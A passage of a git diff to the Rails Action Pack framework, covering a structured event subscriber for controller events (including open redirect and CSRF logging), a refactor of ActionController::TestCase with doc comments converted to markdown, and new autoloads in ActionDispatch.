+      emit_event("action_controller.file_sent", path: event.payload[:path], duration_ms: event.duration.round(1))
+    end
+
+    def redirect_to(event)
+      emit_event("action_controller.redirected", location: event.payload[:location])
+    end
+
+    def send_data(event)
+      emit_event("action_controller.data_sent", filename: event.payload[:filename], duration_ms: event.duration.round(1))
+    end
+
+    def open_redirect(event)
+      payload = event.payload
+
+      emit_event("action_controller.open_redirect",
+        location: payload[:location],
+        request_method: payload[:request]&.method,
+        request_path: payload[:request]&.path,
+        stacktrace: payload[:stack_trace],
+      )
+    end
+
+    def unpermitted_parameters(event)
+      unpermitted_keys = event.payload[:keys]
+      context = event.payload[:context]
+
+      emit_debug_event("action_controller.unpermitted_parameters",
+        unpermitted_keys:,
+        context: context.except(:request)
+      )
+    end
+    debug_only :unpermitted_parameters
+
+    def csrf_token_fallback(event)
+      emit_csrf_event "action_controller.csrf_token_fallback", event.payload
+    end
+
+    def csrf_request_blocked(event)
+      emit_csrf_event "action_controller.csrf_request_blocked", event.payload
+    end
+
+    def csrf_javascript_blocked(event)
+      emit_csrf_event "action_controller.csrf_javascript_blocked", event.payload
+    end
+
+    private def emit_csrf_event(name, payload)
+      emit_event name,
+        controller: payload[:controller],
+        action: payload[:action],
+        sec_fetch_site: payload[:sec_fetch_site],
+        message: payload[:message]
+    end
+
+    def write_fragment(event)
+      fragment_cache(__method__, event)
+    end
+
+    def read_fragment(event)
+      fragment_cache(__method__, event)
+    end
+
+    def exist_fragment?(event)
+      fragment_cache(__method__, event)
+    end
+
+    def expire_fragment(event)
+      fragment_cache(__method__, event)
+    end
+
+    private
+      def fragment_cache(method_name, event)
+        key = ActiveSupport::Cache.expand_cache_key(event.payload[:key] || event.payload[:path])
+
+        emit_event("action_controller.fragment_cache",
+          method: "#{method_name}",
+          key: key,
+          duration_ms: event.duration.round(1)
+        )
+      end
+
+      def additions_for(payload)
+        payload.slice(:view_runtime, :db_runtime, :queries_count, :cached_queries_count)
+      end
+  end
+end
+
+ActionController::StructuredEventSubscriber.attach_to :action_controller
diff --git a/actionpack/lib/action_controller/template_assertions.rb b/actionpack/lib/action_controller/template_assertions.rb
index 0179f4afcd63b..c3bf41faeec52 100644
--- a/actionpack/lib/action_controller/template_assertions.rb
+++ b/actionpack/lib/action_controller/template_assertions.rb
@@ -1,9 +1,13 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
-  module TemplateAssertions
+  module TemplateAssertions # :nodoc:
     def assert_template(options = {}, message = nil)
       raise NoMethodError,
-        "assert_template has been extracted to a gem. To continue using it,
-        add `gem 'rails-controller-testing'` to your Gemfile."
+        'assert_template has been extracted to a gem. To continue using it,
+        add `gem "rails-controller-testing"` to your Gemfile.'
     end
   end
 end
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
index 7229c67f30951..d3a3bf212a6c4 100644
--- a/actionpack/lib/action_controller/test_case.rb
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -1,7 +1,12 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "rack/session/abstract/id"
 require "active_support/core_ext/hash/conversions"
 require "active_support/core_ext/object/to_query"
 require "active_support/core_ext/module/anonymous"
+require "active_support/core_ext/module/redefine_method"
 require "active_support/core_ext/hash/keys"
 require "active_support/testing/constant_lookup"
 require "action_controller/template_assertions"
@@ -13,19 +18,32 @@ class Metal
   end
 
   module Live
-    # Disable controller / rendering threads in tests.  User tests can access
-    # the database on the main thread, so they could open a txn, then the
-    # controller thread will open a new connection and try to access data
-    # that's only visible to the main thread's txn.  This is the problem in #23483
-    remove_method :new_controller_thread
+    # Disable controller / rendering threads in tests. User tests can access the
+    # database on the main thread, so they could open a txn, then the controller
+    # thread will open a new connection and try to access data that's only visible
+    # to the main thread's txn. This is the problem in #23483.
+    alias_method :original_new_controller_thread, :new_controller_thread
+
+    silence_redefinition_of_method :new_controller_thread
     def new_controller_thread # :nodoc:
       yield
     end
+
+    # Because of the above, we need to prevent the clearing of thread locals, since
+    # no new thread is actually spawned in the test environment.
+    alias_method :original_clean_up_thread_locals, :clean_up_thread_locals
+
+    silence_redefinition_of_method :clean_up_thread_locals
+    def clean_up_thread_locals(*args) # :nodoc:
+    end
+
+    # Avoid a deadlock from the queue filling up
+    Buffer.queue_size = nil
   end
 
-  # ActionController::TestCase will be deprecated and moved to a gem in Rails 5.1.
-  # Please use ActionDispatch::IntegrationTest going forward.
-  class TestRequest < ActionDispatch::TestRequest #:nodoc:
+  # ActionController::TestCase will be deprecated and moved to a gem in the
+  # future. Please use ActionDispatch::IntegrationTest going forward.
+  class TestRequest < ActionDispatch::TestRequest # :nodoc:
     DEFAULT_ENV = ActionDispatch::TestRequest::DEFAULT_ENV.dup
     DEFAULT_ENV.delete "PATH_INFO"
 
@@ -35,7 +53,7 @@ def self.new_session
 
     attr_reader :controller_class
 
-    # Create a new test request with default `env` values
+    # Create a new test request with default `env` values.
     def self.create(controller_class)
       env = {}
       env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
@@ -81,7 +99,7 @@ def assign_parameters(routes, controller_path, action, parameters, generated_pat
             value = value.to_param
           end
 
-          path_parameters[key] = value
+          path_parameters[key.to_sym] = value
         end
       end
 
@@ -98,7 +116,7 @@ def assign_parameters(routes, controller_path, action, parameters, generated_pat
             set_header k, "application/x-www-form-urlencoded"
           end
 
-          case content_mime_type.to_sym
+          case content_mime_type&.to_sym
           when nil
             raise "Unknown Content-Type: #{content_type}"
           when :json
@@ -113,7 +131,7 @@ def assign_parameters(routes, controller_path, action, parameters, generated_pat
           end
         end
 
-        data_stream = StringIO.new(data)
+        data_stream = StringIO.new(data.b)
         set_header "CONTENT_LENGTH", data_stream.length.to_s
         set_header "rack.input", data_stream
       end
@@ -121,6 +139,9 @@ def assign_parameters(routes, controller_path, action, parameters, generated_pat
       fetch_header("PATH_INFO") do |k|
         set_header k, generated_path
       end
+      fetch_header("ORIGINAL_FULLPATH") do |k|
+        set_header k, fullpath
+      end
       path_parameters[:controller] = controller_path
       path_parameters[:action] = action
 
@@ -131,7 +152,7 @@ def assign_parameters(routes, controller_path, action, parameters, generated_pat
       include Rack::Test::Utils
 
       def should_multipart?(params)
-        # FIXME: lifted from Rack-Test. We should push this separation upstream
+        # FIXME: lifted from Rack-Test. We should push this separation upstream.
         multipart = false
         query = lambda { |value|
           case value
@@ -155,7 +176,6 @@ def content_type
     end.new
 
     private
-
       def params_parsers
         super.merge @custom_param_parsers
       end
@@ -174,14 +194,15 @@ class LiveTestResponse < Live::Response
 
   # Methods #destroy and #load! are overridden to avoid calling methods on the
   # @store object, which does not exist for the TestSession class.
-  class TestSession < Rack::Session::Abstract::SessionHash #:nodoc:
+  class TestSession < Rack::Session::Abstract::PersistedSecure::SecureSessionHash # :nodoc:
     DEFAULT_OPTIONS = Rack::Session::Abstract::Persisted::DEFAULT_OPTIONS
 
-    def initialize(session = {})
+    def initialize(session = {}, id = Rack::Session::SessionId.new(SecureRandom.hex(16)))
       super(nil, nil)
-      @id = SecureRandom.hex(16)
+      @id = id
       @data = stringify_keys(session)
       @loaded = true
+      @initially_empty = @data.empty?
     end
 
     def exists?
@@ -200,129 +221,153 @@ def destroy
       clear
     end
 
+    def dig(*keys)
+      keys = keys.map.with_index { |key, i| i.zero? ? key.to_s : key }
+      @data.dig(*keys)
+    end
+
     def fetch(key, *args, &block)
       @data.fetch(key.to_s, *args, &block)
     end
 
-    private
+    def enabled?
+      true
+    end
+
+    def id_was
+      @id
+    end
 
+    private
       def load!
         @id
       end
   end
 
-  # Superclass for ActionController functional tests. Functional tests allow you to
-  # test a single controller action per test method.
+  # # Action Controller Test Case
+  #
+  # Superclass for ActionController functional tests. Functional tests allow you
+  # to test a single controller action per test method.
   #
-  # == Use integration style controller tests over functional style controller tests.
+  # ## Use integration style controller tests over functional style controller tests.
   #
   # Rails discourages the use of functional tests in favor of integration tests
   # (use ActionDispatch::IntegrationTest).
   #
-  # New Rails applications no longer generate functional style controller tests and they should
-  # only be used for backward compatibility. Integration style controller tests perform actual
-  # requests, whereas functional style controller tests merely simulate a request. Besides,
-  # integration tests are as fast as functional tests and provide lot of helpers such as +as+,
-  # +parsed_body+ for effective testing of controller actions including even API endpoints.
+  # New Rails applications no longer generate functional style controller tests
+  # and they should only be used for backward compatibility. Integration style
+  # controller tests perform actual requests, whereas functional style controller
+  # tests merely simulate a request. Besides, integration tests are as fast as
+  # functional tests and provide lot of helpers such as `as`, `parsed_body` for
+  # effective testing of controller actions including even API endpoints.
   #
-  # == Basic example
+  # ## Basic example
   #
   # Functional tests are written as follows:
-  # 1. First, one uses the +get+, +post+, +patch+, +put+, +delete+ or +head+ method to simulate
-  #    an HTTP request.
-  # 2. Then, one asserts whether the current state is as expected. "State" can be anything:
-  #    the controller's HTTP response, the database contents, etc.
+  # 1.  First, one uses the `get`, `post`, `patch`, `put`, `delete`, or `head`
+  #     method to simulate an HTTP request.
+  # 2.  Then, one asserts whether the current state is as expected. "State" can be
+  #     anything: the controller's HTTP response, the database contents, etc.
+  #
   #
   # For example:
   #
-  #   class BooksControllerTest < ActionController::TestCase
-  #     def test_create
-  #       # Simulate a POST response with the given HTTP parameters.
-  #       post(:create, params: { book: { title: "Love Hina" }})
+  #     class BooksControllerTest < ActionController::TestCase
+  #       def test_create
+  #         # Simulate a POST response with the given HTTP parameters.
+  #         post(:create, params: { book: { title: "Love Hina" }})
   #
-  #       # Asserts that the controller tried to redirect us to
-  #       # the created book's URI.
-  #       assert_response :found
+  #         # Asserts that the controller tried to redirect us to
+  #         # the created book's URI.
+  #         assert_response :found
   #
-  #       # Asserts that the controller really put the book in the database.
-  #       assert_not_nil Book.find_by(title: "Love Hina")
+  #         # Asserts that the controller really put the book in the database.
+  #         assert_not_nil Book.find_by(title: "Love Hina")
+  #       end
   #     end
-  #   end
   #
   # You can also send a real document in the simulated HTTP request.
   #
-  #   def test_create
-  #     json = {book: { title: "Love Hina" }}.to_json
-  #     post :create, json
-  #   end
+  #     def test_create
+  #       json = {book: { title: "Love Hina" }}.to_json
+  #       post :create, body: json
+  #     end
+  #
+  # ## Special instance variables
+  #
+  # ActionController::TestCase will also automatically provide the following
+  # instance variables for use in the tests:
   #
-  # == Special instance variables
+  # @controller
+  # :   The controller instance that will be tested.
   #
-  # ActionController::TestCase will also automatically provide the following instance
-  # variables for use in the tests:
+  # @request
+  # :   An ActionController::TestRequest, representing the current HTTP request.
+  #     You can modify this object before sending the HTTP request. For example,
+  #     you might want to set some session properties before sending a GET
+  #     request.
   #
-  # <b>@controller</b>::
-  #      The controller instance that will be tested.
-  # <b>@request</b>::
-  #      An ActionController::TestRequest, representing the current HTTP
-  #      request. You can modify this object before sending the HTTP request. For example,
-  #      you might want to set some session properties before sending a GET request.
-  # <b>@response</b>::
-  #      An ActionDispatch::TestResponse object, representing the response
-  #      of the last HTTP response. In the above example, <tt>@response</tt> becomes valid
-  #      after calling +post+. If the various assert methods are not sufficient, then you
-  #      may use this object to inspect the HTTP response in detail.
+  # @response
+  # :   An ActionDispatch::TestResponse object, representing the response of the
+  #     last HTTP response. In the above example, `@response` becomes valid after
+  #     calling `post`. If the various assert methods are not sufficient, then you
+  #     may use this object to inspect the HTTP response in detail.
   #
-  # (Earlier versions of \Rails required each functional test to subclass
-  # Test::Unit::TestCase and define @controller, @request, @response in +setup+.)
   #
-  # == Controller is automatically inferred
+  # ## Controller is automatically inferred
   #
   # ActionController::TestCase will automatically infer the controller under test
   # from the test class name. If the controller cannot be inferred from the test
-  # class name, you can explicitly set it with +tests+.
+  # class name, you can explicitly set it with `tests`.
+  #
+  #     class SpecialEdgeCaseWidgetsControllerTest < ActionController::TestCase
+  #       tests WidgetController
+  #     end
   #
-  #   class SpecialEdgeCaseWidgetsControllerTest < ActionController::TestCase
-  #     tests WidgetController
-  #   end
+  # ## Testing controller internals
   #
-  # == \Testing controller internals
+  # In addition to these specific assertions, you also have easy access to various
+  # collections that the regular test/unit assertions can be used against. These
+  # collections are:
   #
-  # In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions
-  # can be used against. These collections are:
+  # *   session: Objects being saved in the session.
+  # *   flash: The flash objects currently in the session.
+  # *   cookies: Cookies being sent to the user on this request.
   #
-  # * session: Objects being saved in the session.
-  # * flash: The flash objects currently in the session.
-  # * cookies: \Cookies being sent to the user on this request.
   #
   # These collections can be used just like any other hash:
   #
-  #   assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
-  #   assert flash.empty? # makes sure that there's nothing in the flash
+  #     assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
+  #     assert flash.empty? # makes sure that there's nothing in the flash
   #
-  # On top of the collections, you have the complete url that a given action redirected to available in <tt>redirect_to_url</tt>.
+  # On top of the collections, you have the complete URL that a given action
+  # redirected to available in `redirect_to_url`.
   #
-  # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another
-  # action call which can then be asserted against.
+  # For redirects within the same controller, you can even call follow_redirect
+  # and the redirect will be followed, triggering another action call which can
+  # then be asserted against.
   #
-  # == Manipulating session and cookie variables
+  # ## Manipulating session and cookie variables
   #
-  # Sometimes you need to set up the session and cookie variables for a test.
-  # To do this just assign a value to the session or cookie collection:
+  # Sometimes you need to set up the session and cookie variables for a test. To
+  # do this just assign a value to the session or cookie collection:
   #
-  #   session[:key] = "value"
-  #   cookies[:key] = "value"
+  #     session[:key] = "value"
+  #     cookies[:key] = "value"
   #
   # To clear the cookies for a test just clear the cookie collection:
   #
-  #   cookies.clear
+  #     cookies.clear
   #
-  # == \Testing named routes
+  # ## Testing named routes
   #
-  # If you're using named routes, they can be easily tested using the original named routes' methods straight in the test case.
+  # If you're using named routes, they can be easily tested using the original
+  # named routes' methods straight in the test case.
   #
-  #  assert_redirected_to page_url(title: 'foo')
+  #     assert_redirected_to page_url(title: 'foo')
   class TestCase < ActiveSupport::TestCase
+    singleton_class.attr_accessor :executor_around_each_request
+
     module Behavior
       extend ActiveSupport::Concern
       include ActionDispatch::TestProcess
@@ -332,12 +377,12 @@ module Behavior
       attr_reader :response, :request
 
       module ClassMethods
-        # Sets the controller class name. Useful if the name can't be inferred from test class.
-        # Normalizes +controller_class+ before using.
+        # Sets the controller class name. Useful if the name can't be inferred from test
+        # class. Normalizes `controller_class` before using.
         #
-        #   tests WidgetController
-        #   tests :widget
-        #   tests 'widget'
+        #     tests WidgetController
+        #     tests :widget
+        #     tests 'widget'
         def tests(controller_class)
           case controller_class
           when String, Symbol
@@ -370,97 +415,105 @@ def determine_default_controller_class(name)
 
       # Simulate a GET request with the given parameters.
       #
-      # - +action+: The controller action to call.
-      # - +params+: The hash with HTTP parameters that you want to pass. This may be +nil+.
-      # - +body+: The request body with a string that is appropriately encoded
-      #   (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
-      # - +session+: A hash of parameters to store in the session. This may be +nil+.
-      # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
+      # *   `action`: The controller action to call.
+      # *   `params`: The hash with HTTP parameters that you want to pass. This may be
+      #     `nil`.
+      # *   `body`: The request body with a string that is appropriately encoded
+      #     (`application/x-www-form-urlencoded` or `multipart/form-data`).
+      # *   `session`: A hash of parameters to store in the session. This may be
+      #     `nil`.
+      # *   `flash`: A hash of parameters to store in the flash. This may be `nil`.
+      #
       #
-      # You can also simulate POST, PATCH, PUT, DELETE, and HEAD requests with
-      # +post+, +patch+, +put+, +delete+, and +head+.
-      # Example sending parameters, session and setting a flash message:
+      # You can also simulate POST, PATCH, PUT, DELETE, and HEAD requests with `post`,
+      # `patch`, `put`, `delete`, and `head`. Example sending parameters, session, and
+      # setting a flash message:
       #
-      #   get :show,
-      #     params: { id: 7 },
-      #     session: { user_id: 1 },
-      #     flash: { notice: 'This is flash message' }
+      #     get :show,
+      #       params: { id: 7 },
+      #       session: { user_id: 1 },
+      #       flash: { notice: 'This is flash message' }
       #
       # Note that the request method is not verified. The different methods are
       # available to make the tests more expressive.
       def get(action, **args)
-        res = process(action, method: "GET", **args)
-        cookies.update res.cookies
-        res
+        process(action, method: "GET", **args)
       end
 
       # Simulate a POST request with the given parameters and set/volley the response.
-      # See +get+ for more details.
+      # See `get` for more details.
       def post(action, **args)
         process(action, method: "POST", **args)
       end
 
-      # Simulate a PATCH request with the given parameters and set/volley the response.
-      # See +get+ for more details.
+      # Simulate a PATCH request with the given parameters and set/volley the
+      # response. See `get` for more details.
       def patch(action, **args)
         process(action, method: "PATCH", **args)
       end
 
       # Simulate a PUT request with the given parameters and set/volley the response.
-      # See +get+ for more details.
+      # See `get` for more details.
       def put(action, **args)
         process(action, method: "PUT", **args)
       end
 
-      # Simulate a DELETE request with the given parameters and set/volley the response.
-      # See +get+ for more details.
+      # Simulate a DELETE request with the given parameters and set/volley the
+      # response. See `get` for more details.
       def delete(action, **args)
         process(action, method: "DELETE", **args)
       end
 
       # Simulate a HEAD request with the given parameters and set/volley the response.
-      # See +get+ for more details.
+      # See `get` for more details.
       def head(action, **args)
         process(action, method: "HEAD", **args)
       end
 
-      # Simulate an HTTP request to +action+ by specifying request method,
-      # parameters and set/volley the response.
+      # Simulate an HTTP request to `action` by specifying request method, parameters
+      # and set/volley the response.
+      #
+      # *   `action`: The controller action to call.
+      # *   `method`: Request method used to send the HTTP request. Possible values
+      #     are `GET`, `POST`, `PATCH`, `PUT`, `DELETE`, `HEAD`. Defaults to `GET`.
+      #     Can be a symbol.
+      # *   `params`: The hash with HTTP parameters that you want to pass. This may be
+      #     `nil`.
+      # *   `body`: The request body with a string that is appropriately encoded
+      #     (`application/x-www-form-urlencoded` or `multipart/form-data`).
+      # *   `session`: A hash of parameters to store in the session. This may be
+      #     `nil`.
+      # *   `flash`: A hash of parameters to store in the flash. This may be `nil`.
+      # *   `format`: Request format. Defaults to `nil`. Can be string or symbol.
+      # *   `as`: Content type. Defaults to `nil`. Must be a symbol that corresponds
+      #     to a mime type.
       #
-      # - +action+: The controller action to call.
-      # - +method+: Request method used to send the HTTP request. Possible values
-      #   are +GET+, +POST+, +PATCH+, +PUT+, +DELETE+, +HEAD+. Defaults to +GET+. Can be a symbol.
-      # - +params+: The hash with HTTP parameters that you want to pass. This may be +nil+.
-      # - +body+: The request body with a string that is appropriately encoded
-      #   (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
-      # - +session+: A hash of parameters to store in the session. This may be +nil+.
-      # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
-      # - +format+: Request format. Defaults to +nil+. Can be string or symbol.
-      # - +as+: Content type. Defaults to +nil+. Must be a symbol that corresponds
-      #   to a mime type.
       #
-      # Example calling +create+ action and sending two params:
+      # Example calling `create` action and sending two params:
       #
-      #   process :create,
-      #     method: 'POST',
-      #     params: {
-      #       user: { name: 'Gaurish Sharma', email: 'user@example.com' }
-      #     },
-      #     session: { user_id: 1 },
-      #     flash: { notice: 'This is flash message' }
+      #     process :create,
+      #       method: 'POST',
+      #       params: {
+      #         user: { name: 'Gaurish Sharma', email: 'user@example.com' }
+      #       },
+      #       session: { user_id: 1 },
+      #       flash: { notice: 'This is flash message' }
       #
-      # To simulate +GET+, +POST+, +PATCH+, +PUT+, +DELETE+ and +HEAD+ requests
-      # prefer using #get, #post, #patch, #put, #delete and #head methods
-      # respectively which will make tests more expressive.
+      # To simulate `GET`, `POST`, `PATCH`, `PUT`, `DELETE`, and `HEAD` requests
+      # prefer using #get, #post, #patch, #put, #delete and #head methods respectively
+      # which will make tests more expressive.
+      #
+      # It's not recommended to make more than one request in the same test. Instance
+      # variables that are set in one request will not persist to the next request,
+      # but it's not guaranteed that all Rails internal state will be reset. Prefer
+      # ActionDispatch::IntegrationTest for making multiple requests in the same test.
       #
       # Note that the request method is not verified.
-      def process(action, method: "GET", params: {}, session: nil, body: nil, flash: {}, format: nil, xhr: false, as: nil)
+      def process(action, method: "GET", params: nil, session: nil, body: nil, flash: {}, format: nil, xhr: false, as: nil)
         check_required_ivars
+        @controller.clear_instance_variables_between_requests
 
-        if body
-          @request.set_header "RAW_POST_DATA", body
-        end
-
+        action = +action.to_s
         http_method = method.to_s.upcase
 
         @html_document = nil
@@ -475,6 +528,10 @@ def process(action, method: "GET", params: {}, session: nil, body: nil, flash: {
         @response.request = @request
         @controller.recycle!
 
+        if body
+          @request.set_header "RAW_POST_DATA", body
+        end
+
         @request.set_header "REQUEST_METHOD", http_method
 
         if as
@@ -482,64 +539,14 @@ def process(action, method: "GET", params: {}, session: nil, body: nil, flash: {
           format ||= as
         end
 
-        parameters = params.symbolize_keys
+        parameters = (params || {}).symbolize_keys
 
         if format
           parameters[:format] = format
         end
 
-        generated_extras = @routes.generate_extras(parameters.merge(controller: controller_class_name, action: action.to_s))
-        generated_path = generated_path(generated_extras)
-        query_string_keys = query_parameter_names(generated_extras)
-
-        @request.assign_parameters(@routes, controller_class_name, action.to_s, parameters, generated_path, query_string_keys)
-
-        @request.session.update(session) if session
-        @request.flash.update(flash || {})
-
-        if xhr
-          @request.set_header "HTTP_X_REQUESTED_WITH", "XMLHttpRequest"
-          @request.fetch_header("HTTP_ACCEPT") do |k|
-            @request.set_header k, [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(", ")
-          end
-        end
-
-        @request.fetch_header("SCRIPT_NAME") do |k|
-          @request.set_header k, @controller.config.relative_url_root
-        end
-
-        begin
-          @controller.recycle!
-          @controller.dispatch(action, @request, @response)
-        ensure
-          @request = @controller.request
-          @response = @controller.response
-
-          if @request.have_cookie_jar?
-            unless @request.cookie_jar.committed?
-              @request.cookie_jar.write(@response)
-              cookies.update(@request.cookie_jar.instance_variable_get(:@cookies))
-            end
-          end
-          @response.prepare!
-
-          if flash_value = @request.flash.to_session_value
-            @request.session["flash"] = flash_value
-          else
-            @request.session.delete("flash")
-          end
-
-          if xhr
-            @request.delete_header "HTTP_X_REQUESTED_WITH"
-            @request.delete_header "HTTP_ACCEPT"
-          end
-          @request.query_string = ""
-          @request.env.delete "PATH_INFO"
-
-          @response.sent!
-        end
-
-        @response
+        setup_request(controller_class_name, action, parameters, session, flash, xhr)
+        process_controller_response(action, cookies, xhr)
       end
 
       def controller_class_name
@@ -595,13 +602,79 @@ def build_response(klass)
       end
 
       private
+        def setup_request(controller_class_name, action, parameters, session, flash, xhr)
+          generated_extras = @routes.generate_extras(parameters.merge(controller: controller_class_name, action: action))
+          generated_path = generated_path(generated_extras)
+          query_string_keys = query_parameter_names(generated_extras)
+
+          @request.assign_parameters(@routes, controller_class_name, action, parameters, generated_path, query_string_keys)
+
+          @request.session.update(session) if session
+          @request.flash.update(flash || {})
+
+          if xhr
+            @request.set_header "HTTP_X_REQUESTED_WITH", "XMLHttpRequest"
+            @request.fetch_header("HTTP_ACCEPT") do |k|
+              @request.set_header k, [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(", ")
+            end
+          end
+
+          @request.fetch_header("SCRIPT_NAME") do |k|
+            @request.set_header k, @controller.config.relative_url_root
+          end
+        end
+
+        def wrap_execution(&block)
+          if ActionController::TestCase.executor_around_each_request && defined?(Rails.application) && Rails.application
+            Rails.application.executor.wrap(&block)
+          else
+            yield
+          end
+        end
+
+        def process_controller_response(action, cookies, xhr)
+          begin
+            @controller.recycle!
+
+            wrap_execution { @controller.dispatch(action, @request, @response) }
+          ensure
+            @request = @controller.request
+            @response = @controller.response
+
+            if @request.have_cookie_jar?
+              unless @request.cookie_jar.committed?
+                @request.cookie_jar.write(@response)
+                cookies.update(@request.cookie_jar.instance_variable_get(:@cookies))
+                cookies.update(@response.cookies)
+              end
+            end
+            @response.prepare!
+
+            if flash_value = @request.flash.to_session_value
+              @request.session["flash"] = flash_value
+            else
+              @request.session.delete("flash")
+            end
+
+            if xhr
+              @request.delete_header "HTTP_X_REQUESTED_WITH"
+              @request.delete_header "HTTP_ACCEPT"
+            end
+            @request.query_string = ""
+
+            @response.sent!
+          end
+
+          @response
+        end
 
         def scrub_env!(env)
-          env.delete_if { |k, v| k =~ /^(action_dispatch|rack)\.request/ }
-          env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ }
-          env.delete "action_dispatch.request.query_parameters"
-          env.delete "action_dispatch.request.request_parameters"
+          env.delete_if do |k, _|
+            k.start_with?("rack.request", "action_dispatch.request", "action_dispatch.rescue")
+          end
           env["rack.input"] = StringIO.new
+          env.delete "CONTENT_LENGTH"
+          env.delete "RAW_POST_DATA"
           env
         end
 
@@ -610,8 +683,8 @@ def document_root_element
         end
 
         def check_required_ivars
-          # Sanity check for required instance variables so we can give an
-          # understandable error message.
+          # Check for required instance variables so we can give an understandable error
+          # message.
           [:@routes, :@controller, :@request, :@response].each do |iv_name|
             if !instance_variable_defined?(iv_name) || instance_variable_get(iv_name).nil?
               raise "#{iv_name} is nil: make sure you set it in your test's setup method."
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index 028177ace2d46..c24348d13e7e5 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -1,67 +1,93 @@
+# frozen_string_literal: true
+
 #--
-# Copyright (c) 2004-2017 David Heinemeier Hansson
+# Copyright (c) David Heinemeier Hansson
 #
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
 #
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
 #
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
 #++
 
+# :markup: markdown
+
 require "active_support"
 require "active_support/rails"
 require "active_support/core_ext/module/attribute_accessors"
 
 require "action_pack"
 require "rack"
+require "action_dispatch/deprecator"
 
-module Rack
+module Rack # :nodoc:
   autoload :Test, "rack/test"
 end
 
+# # Action Dispatch
+#
+# Action Dispatch is a module of Action Pack.
+#
+# Action Dispatch parses information about the web request, handles routing as
+# defined by the user, and does advanced processing related to HTTP such as
+# MIME-type negotiation, decoding parameters in POST, PATCH, or PUT bodies,
+# handling HTTP caching logic, cookies and sessions.
 module ActionDispatch
   extend ActiveSupport::Autoload
 
-  class IllegalStateError < StandardError
+  class MissingController < NameError
   end
 
   eager_autoload do
     autoload_under "http" do
+      autoload :ContentSecurityPolicy
+      autoload :InvalidParameterError, "action_dispatch/http/param_error"
+      autoload :ParamBuilder
+      autoload :ParamError
+      autoload :ParameterTypeError, "action_dispatch/http/param_error"
+      autoload :ParamsTooDeepError, "action_dispatch/http/param_error"
+      autoload :PermissionsPolicy
+      autoload :QueryParser
       autoload :Request
       autoload :Response
     end
   end
 
   autoload_under "middleware" do
+    autoload :AssumeSSL
+    autoload :HostAuthorization
     autoload :RequestId
     autoload :Callbacks
     autoload :Cookies
+    autoload :ActionableExceptions
     autoload :DebugExceptions
     autoload :DebugLocks
+    autoload :DebugView
     autoload :ExceptionWrapper
     autoload :Executor
     autoload :Flash
     autoload :PublicExceptions
     autoload :Reloader
     autoload :RemoteIp
+    autoload :ServerTiming
     autoload :ShowExceptions
     autoload :SSL
     autoload :Static
   end
 
+  autoload :Constants
   autoload :Journey
   autoload :MiddlewareStack, "action_dispatch/middleware/stack"
   autoload :Routing
@@ -73,17 +99,29 @@ module Http
     autoload :Headers
     autoload :MimeNegotiation
     autoload :Parameters
-    autoload :ParameterFilter
-    autoload :Upload
     autoload :UploadedFile, "action_dispatch/http/upload"
     autoload :URL
   end
 
   module Session
-    autoload :AbstractStore,     "action_dispatch/middleware/session/abstract_store"
-    autoload :CookieStore,       "action_dispatch/middleware/session/cookie_store"
-    autoload :MemCacheStore,     "action_dispatch/middleware/session/mem_cache_store"
-    autoload :CacheStore,        "action_dispatch/middleware/session/cache_store"
+    autoload :AbstractStore,       "action_dispatch/middleware/session/abstract_store"
+    autoload :AbstractSecureStore, "action_dispatch/middleware/session/abstract_store"
+    autoload :CookieStore,         "action_dispatch/middleware/session/cookie_store"
